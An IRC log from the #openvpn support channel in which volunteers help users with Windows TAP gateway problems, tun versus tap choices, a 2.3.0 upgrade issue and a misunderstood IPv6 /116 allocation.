11:51 < Lord-M> TAP adapter is not getting a default gateway anymore (connection works just fine, configuration files unchanged)
11:52 <+pekster> Can you try deleting all tap adapters and creating a new one? The 'delalltap.bat' script is no longer installed by default, but just re-install the 'tap-windows.exe' program from your <install-dir>\bin\ directory and you'll get it back
11:52 -!- zz_AsadH is now known as AsadH
11:52 < Lord-M> I'll give it a try
11:52 <+pekster> It'll be under a separate programs directory called 'TAP-Win32' (or a similar name, but it begins with TAP)
11:55 -!- AsadH is now known as zz_AsadH
11:57 < Lord-M> removed and reinstalled, doesn't appear to make a difference...
11:57 < Lord-M> did anything change with respect to the handling of the default gateway in a bridged setup?
11:58 <+pekster> What's delivering the gateway? OpenVPN, or an actual DHCP server at the remote end attached to the bridge?
11:58 < Lord-M> DHCP server at the other end
11:58 < Lord-M> I see a lot of "Mon Jan 14 18:57:48 2013 Extracted DHCP router address: 192.168.xx.x" in the log
11:59 < Lord-M> but it doesn't appear to get picked up on the client side
12:01 <+pekster> I'm not aware that anything changed, although I'm not sure what OpenVPN would be caring about the dhcp traffic since my understanding was that was left to the tap driver in a bridged setup like that
12:03 <+pekster> Lord-M: Try adding a --route-delay option perhaps?
12:03 < Lord-M> Tried that, that's actually where the fun starts... ;)
12:03 <+pekster> :\
12:03 < Lord-M> :P
12:04 < Lord-M> I've been trying to get it to set "route 0.0.0.0 0.0.0.0" with the default gateway set through DHCP using "route-gateway"
12:04 < Lord-M> using a route-delay of 10 seconds to ensure it's available
12:04 < Lord-M> when I try that, OpenVPN seems to ignore the delay...
12:05 < Lord-M> when I manually do ""route 0.0.0.0 0.0.0.0 192.168.x.x" everything works just fine
12:05 <+pekster> I've generally found the 'tap-delay' parameter to give better results under most Windows platforms
12:05 < Lord-M> ah k, I'll give that one a try
12:05 <+pekster> My "usual" make Windows suck-less options tend to be: --ip-win32 dynamic --route-method exe --tap-sleep 5
12:05 <+pekster> Sometimes I'll use the value of 10 instead
12:05 <+pekster> Sometimes I mix it up, but for some reason I keep coming back to that magic set of options
12:06 <+pekster> Take it with a grain of salt, since I don't do much with tap (now and then, but not often)
12:08 <+pekster> Oh, I guess --ip-win32 is worthless for you (that's only interesting if using ifconfig to se the IP, otherwise it won't help)
12:08 < Lord-M> nope, sadly doesn't make a difference... The "route 0.0.0.0 0.0.0.0" statement gets executed before delay (both route-delay, or tap-sleep)
12:08 < Lord-M> when I change the statement in "route 0.0.0.0 0.0.0.0 192.168.x.x" it takes the delay into account :|
12:09 <+pekster> The only other interesting Windows-specific option that might do some good would be --dhcp-renew to get it to "re-renew" in case something got messed up the first time it did a DHCP DISCOVER call
12:10 < Lord-M> tried that, also doesn't work (did work with 2.2.2 though)
12:10 <+pekster> I'm not really feeling great about that fixing things (the docs seem to suggest it's not useful when you already get a normal discovery process)
12:10 <+pekster> Ugh
12:10 < Lord-M> what does solve the problem is "redirect-gateway"
12:11 < Lord-M> both that completely kills the existing gateway (which is not what I'm after)
12:11 < Lord-M> that again is solved by doing a full "ipconfig /refresh" after OpenVPN gets connected (so my previous default gateway is restorted *and*  that TAP adapter hangs on to its own default gateway)
12:11 < Lord-M> but that is problematic as it gets screwed up again if OpenVPN reconnects at some point...
12:12 < Lord-M> *both = but
12:12 <+pekster> I suppose you need tap verses a tun setup if you're going through all this trouble?
12:12 <+pekster> tun makes things a lot cleaner :P
12:13 < Lord-M> honestly never tried ;) TAP always worked for me, but I'll have a look at a TUN setup... Will that still work with bridging, etc?
12:13 <+pekster> No, it's a routed setup, not bridged
12:14 <+pekster> And because of that it's a lot less moving parts to break (plus less wasted bandwidth)
12:14 <+pekster> !tunortap
12:14 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
12:14 <@vpnHelper> over the vpn or (#4) lan gaming? use tap!
12:14 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:14 <+pekster> Really, unless you are actually transmitting Ethernet frames or require real broadcast support, you don't want/need tap
12:14 < Lord-M> ok
12:15 < Lord-M> and basically the only change is that I need OpenVPN to push a couple of routes through to the client?
12:15 <+pekster> Yea, and your server-side network to be made aware how to route back to the VPN LAN
12:15 <+pekster> In a corporate environment you just add routes to the corporate routers to send traffic to the VPN server
12:16 < Lord-M> kk... I think I've done this before (running DD-WRT)
12:16 < Lord-M> perhaps a (final) stupid question: But what would I need real broadcast support for?
12:16 <+pekster> Multicast, or some programs (eg: games doing a LAN broadcast to find other game hosts on the network)
12:17 < Lord-M> ok, well then, I'll give the TUN setup a try... Thanks a lot!
12:17 <+pekster> Some "auto-discovery" protocols like to use broadcasts to announce themselves (eg: uPnP)
12:17 <+pekster> Yup. Most people don't need broadcast support, or have ways around them for VPN users
12:18 <+pekster> Good luck, and despite the effort switching your working 2.2.x setup over, I suspect you'll be happier in the end with a less complex setup
12:18 < Lord-M> I'm basically using it for some SMB shares, so that shouldn't be a problem
12:22 -!- Orbi [~opera@109.129.27.94] has quit [Ping timeout: 248 seconds]
12:25 -!- Orbi [~opera@anon-149-10.vpn.ipredator.se] has joined #openvpn
12:28 -!- Lord-M [~LordM@ip-80-113-202-148.ip.prioritytelecom.net] has quit [Quit: Cheers!]
12:29 -!- Orbi [~opera@anon-149-10.vpn.ipredator.se] has quit [Ping timeout: 248 seconds]
12:39 -!- Orbi [~opera@anon-185-46.vpn.ipredator.se] has joined #openvpn
13:12 < Orbi> I'm getting this error 6 times after "Initialization Sequence Completed": write UDPv4 [EMSGSIZE Path-MTU=1492]: Message too long (code=97)
13:12 < Orbi> What does it mean?
13:17 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
13:17 < WhoNeedszzz> Hey guys
13:17 < WhoNeedszzz> I just updated to 2.3.0 and now i'm getting this on my client: "Authenticate/Decrypt packet error: packet HMAC authentication failed"
13:17 < WhoNeedszzz> I haven't changed anything since running 2.3 rc2
13:18 < WhoNeedszzz> Is there a config difference?
13:19 -!- grimeton [~ruth@2a01:4f8:d12:c45:0:dead:beef:cafe] has joined #openvpn
13:19 < grimeton> is it possible to tell the daemon to use a different destination address on an udp tunnel without reestablishing the connection?
13:24 <+pekster> grimeton: See --float in the manpage, although that only works if one end moves to a new source IP that the other peer can see
13:28 < WhoNeedszzz> here's my server and client configs: https://gist.github.com/eb730f60b24bea9b408a
13:28 <@vpnHelper> Title: gist:eb730f60b24bea9b408a (at gist.github.com)
13:28 < WhoNeedszzz> Everything worked with 2.3 rc2
13:31 < WhoNeedszzz> Anyone?
13:34 < grimeton> pekster: yeah, i know, that's NOT what i want
13:44 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Ping timeout: 246 seconds]
13:49 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
13:50 < WhoNeedszzz> Sorry net messed up. Did anyone respond?
13:50 < Orbi> @WhoNeedszzz not yet
13:52 -!- b1rkh0ff [~b1rkh0ff@178.77.8.47] has joined #openvpn
13:55 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Ping timeout: 244 seconds]
13:55 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
13:55 < WhoNeedszzz> I feel like it's a config change
13:55 < WhoNeedszzz> But i don't see any documentation for 2.3.9
13:55 < WhoNeedszzz> 2.3.0*
13:57 < Orbi> open your 2.3 rc2 and 2.3.0 configs in notepad++ and compare them for differences
14:00 < WhoNeedszzz> there is only one config
14:00 < WhoNeedszzz> I didn't change anything from 2.3 rc2
14:01 < WhoNeedszzz> Other than now adding tls-server and tls-client
14:01 < WhoNeedszzz> i'm saying are there differences that 2.3.0 expects that i'm not aware of
14:02 < WhoNeedszzz> i just wish i knew what route line it is referring to
14:03 < WhoNeedszzz> Perhaps this? /usr/sbin/ip route add 72.14.183.109/32 via 192.168.1.1
14:03 < WhoNeedszzz> Should it be /32?
14:08 -!- Orbi [~opera@anon-185-46.vpn.ipredator.se] has quit [Ping timeout: 248 seconds]
14:13 -!- mattock_afk is now known as mattock
14:15 < plaisthos> WhoNeedszzz: there should not be any difference between rc2 and final in that area of code
14:16 -!- Orbi [~opera@109.129.44.7] has joined #openvpn
14:17 < plaisthos> there only two changes in rc2 to final, one does not affect linux and the other is related to push messages
14:20 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Ping timeout: 260 seconds]
14:20 -!- WhoNeedszzz [~WhoNeedsz@adsl-074-170-159-249.sip.msy.bellsouth.net] has joined #openvpn
14:20 -!- WhoNeedszzz [~WhoNeedsz@adsl-074-170-159-249.sip.msy.bellsouth.net] has quit [Changing host]
14:20 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
14:20 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Client Quit]
14:21 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
14:21 < WhoNeedszzz> so i'm curious then what's wrong
14:21 < WhoNeedszzz> if there aren't many changes
14:21 < WhoNeedszzz> since it worked fine in rc2
14:22 < plaisthos> it must be something different than rc2 vs final
14:22 < WhoNeedszzz> well i didn't change anything else
14:22 < WhoNeedszzz> the route also fails in windows if that helps
14:23 < WhoNeedszzz> did you look at my config i pasted earlier?
14:23 < plaisthos> route failure is also different from hmac fail
14:23 < WhoNeedszzz> i fixed the hmac issue
14:23 < WhoNeedszzz> just needed to add tls-server in server config and tls-client in client config
14:25 < WhoNeedszzz> It's definitely this line: ip route add 72.14.183.109/32 via 192.168.1.1
14:25 < plaisthos> WhoNeedszzz: on the client?
14:25 < WhoNeedszzz> yes
14:25 < WhoNeedszzz> if i enter the command manually i get: RTNETLINK answers: File exists
14:25 < plaisthos> what is the error?
14:25 < plaisthos> are you running two instances of openvpn?
14:25 < WhoNeedszzz> no
14:26 < plaisthos> who does your routing table look (netstat -rn), is tehre already that route?
14:26 < WhoNeedszzz> hmm it is there
14:26 < WhoNeedszzz> odd
14:26 < WhoNeedszzz> so just delete it?
14:26 < plaisthos> yes
14:27 < plaisthos> may be a leftover from a previous try
14:29 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Read error: Connection reset by peer]
14:29 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:30 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
14:30 < WhoNeedszzz> ok progress
14:30 < WhoNeedszzz> now no route error
14:30 < WhoNeedszzz> but i'm getting "ROUTE6: default_gateway=UNDEF" in client output
14:30 < plaisthos> WhoNeedszzz: sure :_
14:31 < plaisthos> you don't use server-ipv6
14:31 < plaisthos> (or all options set by server-ipv6)
14:31 < plaisthos> or whatever the option is called
14:31 < WhoNeedszzz> hmm well when i use server-ipv6 the pool is configured wrong
14:32 < WhoNeedszzz> i didn't use server-ipv6 in rc2 and it worked fine
14:32 < thermoman> who to contact to get something added to the FAQ? (http://openvpn.net/index.php/open-source/faq/79-client/317-qmulti-bad-source-address-from-client--packet-droppedq-or-qget-inst-by-virt-failedq.html)
14:32 <@vpnHelper> Title: "MULTI: bad source address from client , packet dropped" or "GET INST BY VIRT: [failed]"? (at openvpn.net)
14:33 -!- Orbi [~opera@109.129.44.7] has quit [Ping timeout: 248 seconds]
14:35 < WhoNeedszzz> yeah it messes up the pool
14:35 < plaisthos> WhoNeedszzz: care to report the bug?
14:35 < WhoNeedszzz> it should be :7100, but it picks :8000 which is out of my range of addresses
14:35 < WhoNeedszzz> well it could be anywhere from :7000 to :7FFF
14:36 < WhoNeedszzz> but not :8000
14:36 < WhoNeedszzz> what line sets up the ipv6 gateway?
14:36 -!- Orbi [~opera@anon-149-72.vpn.ipredator.se] has joined #openvpn
14:37 < Orbi> any clues as to these errors:  "Initialization Sequence Completed": write UDPv4 [EMSGSIZE Path-MTU=1492]: Message too long (code=97) ?
14:38 < plaisthos> WhoNeedszzz: ifconfig6 line
14:38 < plaisthos> being pushed by the server
14:38 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 276 seconds]
14:38 <+pekster> WhoNeedszzz: IIRC, you can't use OpenVPN with anything smaller than a /112
14:39 <+pekster> You should be allocated at *least* a /64 from any upstream provider
14:39 <+pekster> At least, any provider worth using
14:40 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
14:40 < WhoNeedszzz> i do have a /64
14:40 < WhoNeedszzz> 2600:3c00::21:7000/64 - 2600:3c00::21:7fff/64
14:40 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
14:41 <@ecrist> that looks like a /56 to me
14:41 < WhoNeedszzz> 2600:3c00 is linode
14:41 <+pekster> ecrist: that "range" he gave is both in the "same" /64
14:41 < plaisthos> ecrist: nah
14:41 <+pekster> Scrape off the bogus CIDR mask that I don't think he means and that's actually a /116
14:42 <+pekster> NOT a /112
14:42 <+pekster> ovpn can't with with a /116
14:42 < WhoNeedszzz> i'm pulling the info straight from my server's dashboard
14:42 < plaisthos> WhoNeedszzz: you need server-ipv6 to push the ifconfig and gateway to client iirc
14:42 < WhoNeedszzz>  /64
14:42 <+pekster> WhoNeedszzz: You don't seem to understand how a /64 works. You'd get 2600:3c00:0:0:0:0:0:0 through 2600:3c00:0::ffff:ffff:ffff:ffff
14:42 <+pekster> That is a /64
14:42 <+pekster> Anything less than that range is not a /64
14:43 <+pekster> Sorry, missed a 0 in the 2nd output
14:43 <@ecrist> sorry, guys, I missed the short notation ::
14:43  * ecrist flogs himself appropriately
14:43 < plaisthos> I don't think that configuration ever worked
14:43 <+pekster> ecrist: np. ipv6 gets long (one of the obvious drawbacks)
14:43 < WhoNeedszzz> the range is 4096 addresses
14:43 < WhoNeedszzz> Surely that is enough
14:43 <@ecrist> WhoNeedszzz: you're fine
14:43 <+pekster> But he doesn't have a /112?
14:43 < WhoNeedszzz> so it looks like i need --route-ipv6
14:44 <+pekster> ecrist: Does 2.3.0 final support arbitrary CIDR masks? I'm still somehwat new to IPv6 support in ovpn, so maybe my info is old?
14:44 < plaisthos> pekster: it needs more than /112
14:44 <+pekster> If he really only has 2600:3c00::21:7000/116, can that be expressed?
14:44 <@ecrist> I'm not sure, pekster
14:44 < plaisthos> right
14:44 <@ecrist> I've only used it with a /64
14:45 < plaisthos> but I don't think he has only /112
14:45 <+pekster> Okay; he's described a /116 network. There's the "probloem" for getting a 2600:3c00::21:8xxx address
14:45 <+pekster> He's complaining that getting the .... :8xxx is the issue
14:45 < WhoNeedszzz> right
14:45 <+pekster> THat is *part* of a /112
14:45 < WhoNeedszzz> setting ipv6-pool manually works
14:45 < plaisthos> WhoNeedszzz: shouldn't
14:45 <+pekster> How do you not have that address if you have the *entire* /64 as you claim?
14:45 < plaisthos> what are you setting?
14:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
14:46 < WhoNeedszzz> look at my config pasted
14:46 < plaisthos> WhoNeedszzz: ipv6-pool also add 0x1000 to the address
14:46 < WhoNeedszzz> that's what i did
14:46 < plaisthos> WhoNeedszzz: there is only xxxx
14:47 < plaisthos> no idea what /xx you specified
14:47 < WhoNeedszzz> here's my line: ifconfig-ipv6-pool 2600:3c00::21:7100
14:47 < WhoNeedszzz> that works
14:47 < WhoNeedszzz> it doesn't add
14:48 < WhoNeedszzz> what should route-ipv6 be?
14:48 < plaisthos> WhoNeedszzz: yes
14:48 -!- Orbi [~opera@anon-149-72.vpn.ipredator.se] has quit [Ping timeout: 248 seconds]
14:48 < plaisthos> it default to /64
14:48 < plaisthos> WhoNeedszzz: why do you assume that it does not add?
14:48 < WhoNeedszzz> because i looked at the output
14:48 < WhoNeedszzz> the address gets allocated properly
14:48 < WhoNeedszzz> i just need the route
14:48 < ngharo> WhoNeedszzz: here's my relavant bits for my working 2.3 ipv6 setup http://paste.debian.net/224676/
14:48 < plaisthos> hm
14:49 < plaisthos> you seem to be right
14:49 < ngharo> i have 2001:1af8:4400:a049::/64 assigned to me
14:49 < plaisthos> misread the code
14:49 < ngharo> WhoNeedszzz: didn't we get this working before? :)
14:49 < WhoNeedszzz> we did
14:49 -!- Orbi [~opera@anon-184-62.vpn.ipredator.se] has joined #openvpn
14:49 < WhoNeedszzz> it doesn't work in 2.3.0
14:49 < WhoNeedszzz> and i didn't change anything
14:50 < WhoNeedszzz> but right i forgot i already have the push route-ipv6
14:50 < WhoNeedszzz> so why isn't the client getting it?
14:50 < WhoNeedszzz> what does the bypass-dhcp part do?
14:50 < WhoNeedszzz> that's the only difference in our configs other than the manual allocating
14:51 < plaisthos> WhoNeedszzz: ngharo has also 112
14:52 < ngharo> can you repaste with your addresses shown
14:54 <@ecrist> !secret
14:54 <@vpnHelper> "secret" is funny that people use free programs, consult free help for them, run a business with them, but are restricted to say what they do.
14:54 <@ecrist> !topsecret
14:54 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
14:55 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Quit: Leaving]
14:55 < ngharo> :)
14:55 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
14:55 < WhoNeedszzz> sorry was testing vpn
14:55 < ngharo> ecrist: do you know where the windows NSI script is located in the source?
14:55 < WhoNeedszzz> ngharo, https://gist.github.com/853705caa977dc6a5a72
14:55 <@vpnHelper> Title: gist:853705caa977dc6a5a72 (at gist.github.com)
14:55 < WhoNeedszzz> which is what i had with rc2, but added tls-server and tls-client
14:56 < WhoNeedszzz> that config worked in rc3
14:56 < WhoNeedszzz> rc2*
14:56 <+pekster> Actually, I'm curious about the NSI location too, since I've been meaning to get around to submitting a patch to fix the awful lack of addtap.bat and deltapall.bat (I've had 3 people with issues becuase of that here, and that's the folks I've been able to help and seen)
14:57 < ngharo> I've got a couple people looking into building the visual studio project
14:57 < ngharo> but they're lazy hackers like myself :)
14:57 < ngharo> i highly doubt it'll spit out the NSI but who knows
14:57 <@ecrist> ngharo: no I do not, sorry
14:57 <+pekster> Well, the NSI "should" be provided since it's part of the installation of GPL software :\
14:58 < ngharo> pekster: maybe we can create one
14:58 < ngharo> shouldnt be too difficult
14:58 <+pekster> It seems silly to me to take a GPL project and "hide" it behind a non-copyleft installer >:|
14:58 < ngharo> but i agree
14:58 <@ecrist> we're not "hiding" anything
14:58 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
14:59 < plaisthos> WhoNeedszzz: you configured a /64 pool and a /64 server address
14:59 < plaisthos> this is the default
14:59 < WhoNeedszzz> ngharo, i have to run to class, but i'll keep this on to see what is said
14:59 < WhoNeedszzz> thanks for the help
14:59 < WhoNeedszzz> i'll be back on later
14:59 < plaisthos> if you do not own the /64 this config is wrong too ....
15:00 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has joined #openvpn
15:00 < WhoNeedszzz> i said the range i have
15:00 < WhoNeedszzz> i don't understand /64 /112 /blash
15:00 <+pekster> You used a /64 CIDR mask and described a /116
15:00 < WhoNeedszzz>  /blah*
15:00 <+pekster> That's a huge difference
15:01 < plaisthos> WhoNeedszzz: then you should read a basic ipv6 whatever tutorial
15:01 < plaisthos> what /xx is
15:01 <+pekster> (of millions and millions of IPs)
15:01 < WhoNeedszzz> here's what my host says: Public IP Pools	 2600:3c00::21:7000/64 - 2600:3c00::21:7fff/64 (4096 addresses)
15:01 < plaisthos> WhoNeedszzz: that is bullshit
15:01 < plaisthos> sorry but that makes no sense
15:01 < ngharo> most hosts don't know IPv6 themselves I found
15:02 < plaisthos> the range you posted
15:02 < WhoNeedszzz> so what is 2600:3c00::21:7000/64 2600:3c00::21:7000:0:0:0:0?
15:02 < plaisthos> what would make is 2600:3c00:21:7000::/64 - 2600:3c00:21:7fff::/64
15:02 < plaisthos> WhoNeedszzz: nothing that makes any sense
15:03 < WhoNeedszzz> all i know is rc2 worked fine
15:03 < WhoNeedszzz> so it's clearly something wrong with 2.3.0
15:03 < WhoNeedszzz> nothing else has changed on my part
15:03 < WhoNeedszzz> but now i'm really late
15:04 <+pekster> A /52 is a little odd for a provider to hand out since they tend to stick with nibble boundries (usually)
15:04 < plaisthos> yeah
15:04 <+pekster> I mean, technically you can do it...
15:04 <+pekster> They might actually be trying to "offer" a /116 or something really dumb, but then they need to be shot
15:05 <+pekster> And stop calling it a /64 :P
15:05 < ngharo> my host said "heres your /64, it has 65535 IPs"
15:06 < ngharo> lol k
15:06 < plaisthos> WhoNeedszzz: please before coming here time. a) learn about Ipv6 and cidr b) get the correct range from provider you have and c) between 2.3rc2 and 2.3.0 there is nothing that affects you (I know the code changes, so don't tell me there is a difference)
15:07 < WhoNeedszzz> then explain why it worked in rc2 and not now
15:07 < plaisthos> WhoNeedszzz: see c)
15:07 < WhoNeedszzz> that doesn't explain
15:08 < WhoNeedszzz> that contradicts
15:08 < plaisthos> yes
15:08 < ngharo> can you ping6 to the vpn endpoint?
15:08 < WhoNeedszzz> which my experience is saying otherwise
15:08 < ngharo> what is your problem anyways, just won't route out to the internet?
15:08 < WhoNeedszzz> i can ping both client and server
15:08 < WhoNeedszzz> just nothing else
15:08 < WhoNeedszzz> both directions
15:08 < ngharo> your problem is likely outside of openvpn
15:08 < WhoNeedszzz> that wouldn't make sense
15:08 < ngharo> are you still running npd?
15:08 < WhoNeedszzz> as i said, i didn't change anything on my system since
15:09 < ngharo> tcpdump your inet interface, look for icmpv6 packets
15:09 < plaisthos> WhoNeedszzz: the changes between 2.3rc2 and 2.3.0 are *extremely* unlikely to change *anyones* setup
15:09 < ngharo> likely the router is asking WHO HAS xx:xx:xx:xx::x
15:09 < WhoNeedszzz> ah yeah npd6 wasn't running
15:10 < WhoNeedszzz> i didn't know i needed it
15:10 < ngharo> there ya go
15:10 < plaisthos> WhoNeedszzz: ndp6 does not work with /116 :D
15:10 < WhoNeedszzz> ok super late now thanks
15:11 -!- dazo_afk is now known as dazo
15:12 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 276 seconds]
15:13 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
15:15 -!- Devastator [~devas@186.214.14.9] has quit [Changing host]
15:15 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
15:18 <+pekster> ngharo: This doc appears out of data re: NSIS, because it references a '\win\openvpn.nsi' script that I can't find anywhere in the 2.3.0 sources :\
15:18 <+pekster> Nor the make_dist.py
15:18 <+pekster> ngharo: Oh, missed the link: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows
15:18 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net)
15:21 < plaisthos> someone just aked me if it is possible to run a OpenVPN server on a Android telephone
15:21  * plaisthos really wonders what the use case is
15:21 <+pekster> Bridge it to an office wifi and accept connections from 3G for spy situations ;)
15:24 < plaisthos> pekster: :D
15:24 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
15:24 <+pekster> "My name is Michael Westen, and I hacked OpenVPN to run as a service on my cell phone."
15:38 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
15:44 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Ping timeout: 244 seconds]
15:50 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:01 -!- raidz is now known as raidz_away
16:01 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Quit: ZNC - http://znc.in]
16:04 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
16:10 -!- raidz_away is now known as raidz
16:20 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
16:28 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:36 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
16:48 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
17:06 -!- grimeton [~ruth@2a01:4f8:d12:c45:0:dead:beef:cafe] has left #openvpn []
17:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:22 -!- Orbi [~opera@anon-184-62.vpn.ipredator.se] has quit [Quit: Orbi]
17:23 <@dazo> pekster: we've split out everything which is not strictly the cross platform stuff in OpenVPN into separate projects ... which includes easy-rsa, windows TAP driver and windows installer
17:23 -!- nutron|w [~nutron@24.67.96.21] has quit [Changing host]
17:23 -!- nutron|w [~nutron@unaffiliated/nutron] has joined #openvpn
17:23 <@dazo> (we even now got a better cross-platform build tool ... so you can more easily build windows binaries directly from Linux)
17:25 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:28 -!- dazo is now known as dazo_afk
18:00 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has joined #openvpn
18:18 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
18:19 < WhoNeedszzz> so yeah it turns out i do only have a /116
18:21 <+hazardous> what the hell
18:21 <+hazardous> who the fuck issues /116's
18:22 < WhoNeedszzz> Linode
18:22 < WhoNeedszzz> My question is who has the resources to issue /64s?
18:30 <+hazardous> anyone with a /48 which is standard
18:33 < WhoNeedszzz> ok so still not working with npd6 running
18:33 < WhoNeedszzz> ngharo, you here?
18:34 < WhoNeedszzz> ok apparently they will give a /64 upon request
18:34 < WhoNeedszzz> most people don't need a /64
18:34 < WhoNeedszzz> hell i wouldn't ever use 4096 addresses for a /116
18:40 < WhoNeedszzz> woo now i have 2600:3c00:e000:0016::/64
18:44 <+hazardous> 16:22:36 < WhoNeedszzz> My question is who has the resources to issue /64s?
18:44 <+hazardous> i can issue like, a few million /64's from my home allocation..
18:44 <+hazardous> idgi
18:44 <+hazardous> ipv6 isn't really something to conserve
18:44 < WhoNeedszzz> ah see that shows how little i know about ipv6
18:44 < WhoNeedszzz> i know there are a ton of possible addresses
18:45 <+hazardous> iirc every atom in the universe can have an address or something equally inane
18:45 < WhoNeedszzz> but it seems wasteful to allocate entire /64 blocks
18:51 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Read error: Connection reset by peer]
18:51 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
18:51 < WhoNeedszzz> Ok now i'm getting "MULTI: bad source address from client [192.168.1.9], packet dropped
18:56 -!- DaCheat_ [JMark@external.JmarkIT.com] has joined #openvpn
18:56 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Read error: Connection reset by peer]
18:59 -!- zeeshoem [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:03 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
19:03 -!- medum_ [kevin@n2l.org] has joined #openvpn
19:04 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
19:04 -!- Netsplit *.net <-> *.split quits: meepmeep, emmanuelux, medum, DaCheat, mnathani
19:04 -!- Netsplit over, joins: meepmeep
19:11 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 264 seconds]
19:11 -!- Netsplit *.net <-> *.split quits: meepmeep
19:11 -!- Netsplit over, joins: meepmeep
19:11 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
19:11 < WhoNeedszzz> Sorry vpn disconnected irc. Did anyone respond?
19:11 < ngharo> !source
19:11 <@vpnHelper> My source is at http://supybot.com/
19:11 < ngharo> !git
19:11 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git
19:13 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
19:13 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
19:14 < WhoNeedszzz> ngharo, can you help me?
19:14 < ngharo> i suppose :v
19:14 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
19:15 < swiftkey>  /join #openvpn-as
19:15 < swiftkey>  /join #openvpn-as
19:15 < swiftkey> hmm
19:15 < swiftkey> hello there
19:16 < ngharo> WhoNeedszzz: whats your eth0 ipv6 addr?
19:17 < ngharo> or rather paste 'ip -6 a' and server config
19:17 < ngharo> brb poopin :>
19:19 < WhoNeedszzz> ngharo, https://gist.github.com/a75ccae32417abe46354
19:19 <@vpnHelper> Title: gist:a75ccae32417abe46354 (at gist.github.com)
19:19 -!- rabidsnail [~rabidsnai@unaffiliated/cmdrbatguano] has joined #openvpn
19:19 -!- savagecroc [~grahamsav@207.204.241.202] has joined #openvpn
19:20 < savagecroc> how do i exclude traffic to a particular IP from going over the VPN?
19:21 < rabidsnail> (in Linux) add a route specifically for that IP that goes over some other interface
19:21 < swiftkey> im new to vpn
19:21 -!- brute11k [~brute11k@89.249.235.236] has quit [Quit: Leaving.]
19:23 < swiftkey> http://pastie.org/5686111 does this mean that my vpn is ok ?
19:23 -!- savagecroc [~grahamsav@207.204.241.202] has quit [Read error: Connection reset by peer]
